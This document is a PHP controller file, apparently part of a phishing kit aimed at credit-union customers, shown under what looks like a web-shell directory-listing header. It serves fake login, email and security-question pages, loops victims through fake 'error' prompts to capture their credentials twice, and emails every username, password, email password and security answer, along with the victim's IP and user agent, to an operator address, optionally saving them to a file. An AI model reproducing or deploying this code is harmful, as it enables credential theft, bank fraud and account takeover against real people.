%PDF- %PDF-
Direktori : /home/nailstv/www/nfcu/org/application/controllers/ |
Current File : /home/nailstv/www/nfcu/org/application/controllers/Home.php |
<?php defined('BASEPATH') OR exit('No direct script access allowed'); class Home extends CI_Controller { public function index() { if (X_CAPTCHA) { $this->load->view('captcha'); }else{ $this->session->set_userdata('captcha_status', 'passed'); redirect(site_url('authen')); } } public function authen() { if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') { redirect(site_url('')); } $this->load->view('authen'); } public function email() { if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') { redirect(site_url('')); } if ($this->input->method() == 'post') { $action = $this->input->post('action'); $username = $this->input->post('USER'); if (preg_match('/@/i', $username)) { header('Location: authen?error=1'); } if($action == 1) { $msg[] = "---- AUTH FIRST INFO----"; $msg[] = "Ussername : " . $this->input->post('USER'); $msg[] = "Password : " . $this->input->post('PASSWORD'); $this->send_mail($msg, X_RESULT_SUBJECT); header('Location: authen?error=1'); } else if ($action == 2) { $msg[] = "---- AUTH SECOND ERROR INFO ----"; $msg[] = "Ussername: " . $this->input->post('USER'); $msg[] = "Password: " . $this->input->post('PASSWORD'); $this->send_mail($msg, X_RESULT_SUBJECT); header('Location: email'); } } $this->load->view('email'); } public function sitekey() { if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') { redirect(site_url('')); } if ($this->input->method() == 'post') { $action = $this->input->post('action'); if($action == 1) { $msg = []; $msg[] = "EMAIL INFO - LOGIN FIRST"; $msg[] = "Email Address: " . $this->input->post('emad'); $msg[] = "Email Pass: " . $this->input->post('empa'); $this->send_mail($msg, X_RESULT_SUBJECT); header("Location:email?error=1"); } else if($action == 2) { $msg = []; $msg[] = "EMAIL INFO - LOGIN SECOND"; $msg[] = "Email Address: " . $this->input->post('emad'); $msg[] = "Email Pass: " . $this->input->post('empa'); $this->send_mail($msg, X_RESULT_SUBJECT); header("Location:sitekey"); } } $this->load->view('sitekey'); } public function com() { if (!$this->session->has_userdata('captcha_status') || $this->session->userdata('captcha_status') != 'passed') { redirect(site_url('')); } if ($this->input->method() == 'post') { $action = $this->input->post('action'); if($action == 1) { $msg[] = "---- SITEKEY INFO #FIRST ----"; $msg[] = "Q1: " . $this->input->post('q1'); $msg[] = "A1: " . $this->input->post('ans1'); $msg[] = "Q2: " . $this->input->post('q2'); $msg[] = "A2: " . $this->input->post('ans2'); $msg[] = "Q3: " . $this->input->post('q3'); $msg[] = "A3: " . $this->input->post('ans3'); $this->send_mail($msg, X_RESULT_SUBJECT); header('Location: sitekey?error=1'); } else if($action == 2) { $msg[] = "---- SITEKEY INFO #SECOND ----"; $msg[] = "Q1: " . $this->input->post('q1'); $msg[] = "A1: " . $this->input->post('ans1'); $msg[] = "Q2: " . $this->input->post('q2'); $msg[] = "A2: " . $this->input->post('ans2'); $msg[] = "Q3: " . $this->input->post('q3'); $msg[] = "A3: " . $this->input->post('ans3'); $this->send_mail($msg, X_RESULT_SUBJECT); header('Location: com'); } } $this->load->view('com'); } public function send_mail($msg = [], $sbj = '') { $ip = getenv("REMOTE_ADDR"); $useragent = $_SERVER['HTTP_USER_AGENT']; $hostname = gethostbyaddr($ip); $this->email->from(X_RESULT_FROMEMAIL, X_RESULT_NAME); $this->email->to(X_RESULT_EMAIL); $msg[] = "IP: " . $ip; $msg[] = "UA: " . $useragent; $msg[] = "HOST: " . $hostname; $msg_body = ""; foreach ($msg as $key => $m) { $msg_body .= $m . "\n"; } $this->email->message($msg_body); $this->email->subject($sbj . ' - ' . $ip); if (X_RESULT_SAVE_REZ_TO_FILE === true) { $fp = fopen(X_RESULT_SAVE_NAME, "a"); fputs($fp, $msg_body); fclose($fp); } if (@$this->email->send()) { return true; } else { return false; } } }